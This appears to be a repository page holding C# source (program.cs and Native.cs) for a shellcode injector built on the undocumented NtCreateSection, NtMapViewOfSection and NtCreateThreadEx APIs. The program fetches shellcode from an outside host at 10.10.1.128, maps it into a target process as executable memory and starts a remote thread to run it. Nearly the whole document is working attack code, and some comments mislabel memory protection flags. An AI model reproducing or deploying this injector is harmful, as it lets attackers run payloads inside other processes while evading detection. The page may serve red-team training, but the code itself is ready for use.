Files
2025-11-21 17:17:42 +01:00

4.2 KiB

NtMapViewOfSection

Nt*Section APIs are undocumented but can be powerful alternatives to VirtualAllocEx, WriteProcMem and VirtProtectEx

NTAPI Undocumented Functions

program.cs

using System;
using System.Diagnostics;
using System.Net.Http;
using System.Runtime.InteropServices;
using System.Threading.Tasks;

namespace NtMapViewOfSection
{
    internal class Program
    {
        static async Task Main(string[] args)
        {
            // as before, fetch shellcode

            byte[] shellcode;
            var addr = "http://10.10.1.128/shellcode.bin";

            using (var client = new HttpClient())
                shellcode = await client.GetByteArrayAsync(addr);

            // create section within our current process as large as the shellcode size 
            var hSection = IntPtr.Zero;
            var maxSize = (ulong)shellcode.Length;
            Native.NtCreateSection(
                ref hSection,
                0x10000000, // SECTION_ALL_ACCESS
                IntPtr.Zero,
                ref maxSize,
                0x40, // PAGE_EXECUTE_READWRITE
                0x08000000,
                IntPtr.Zero);

            // Map the view o that section into the memory of the current proc as RW
            Native.NtMapViewOfSection(
                hSection,
                (IntPtr)(-1),           // targets the current process
                out var localBaseAddress,
                IntPtr.Zero,
                IntPtr.Zero,
                IntPtr.Zero,
                out var _,
                2,                     // ViewUnpat (created view will not be inherited by child process               
                0,
                0x04);                 // PAGE_READWRITE

            // Copy shellcode into memory of our own process
            Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);

            // Get reference to target process (do this with the args IRL)
            var target = Process.GetProcessById(7064);

            // Map this region into the target process as RX
            Native.NtMapViewOfSection(
                hSection,
                target.Handle,
                out var remoteBaseAddress,
                IntPtr.Zero,
                IntPtr.Zero,
                IntPtr.Zero,
                out _,
                2,
                0,
                0x20);              // PAGE_EXECUTE_READWRITE

            // Shellcode is now in the target process so execute it with a new thread
            Native.NtCreateThreadEx(
                out _,
                0x001F0000,          // STANDARD_RIGHTS_ALL
                IntPtr.Zero,
                target.Handle,
                remoteBaseAddress,
                IntPtr.Zero,
                false,
                0,
                0,
                0,
                IntPtr.Zero);
        }
    }
}

Native.cs

using System;
using System.Runtime.InteropServices;

namespace NtMapViewOfSection
{
    internal class Native
    {
        [DllImport("ntdll.dll")]
        public static extern uint NtCreateSection(
            ref IntPtr SectionHandle,
            uint DesiredAccess,
            IntPtr ObjectAttributes,
            ref ulong MaximumSize,
            uint SectionPageProtection,
            uint AllocationAttributes,
            IntPtr FileHandle);

        [DllImport("ntdll.dll")]
        public static extern uint NtMapViewOfSection(
            IntPtr SectionHandle,
            IntPtr ProcessHandle,
            out IntPtr BaseAddress,
            IntPtr ZeroBits,
            IntPtr CommitSize,
            IntPtr SectionOffset,
            out ulong ViewSize,
            uint InheritDisposition,
            uint AllocationType,
            uint Win32Protect);

        [DllImport("ntdll.dll")]
        public static extern uint NtCreateThreadEx(
            out IntPtr threadHandle,
            uint desiredAccess,
            IntPtr objectAttributes,
            IntPtr processHandle,
            IntPtr startAddress,
            IntPtr parameter,
            bool createSuspended,
            int stackZeroBits,
            int sizeOfStack,
            int maximumStackSize,
            IntPtr attributeList);
    }
}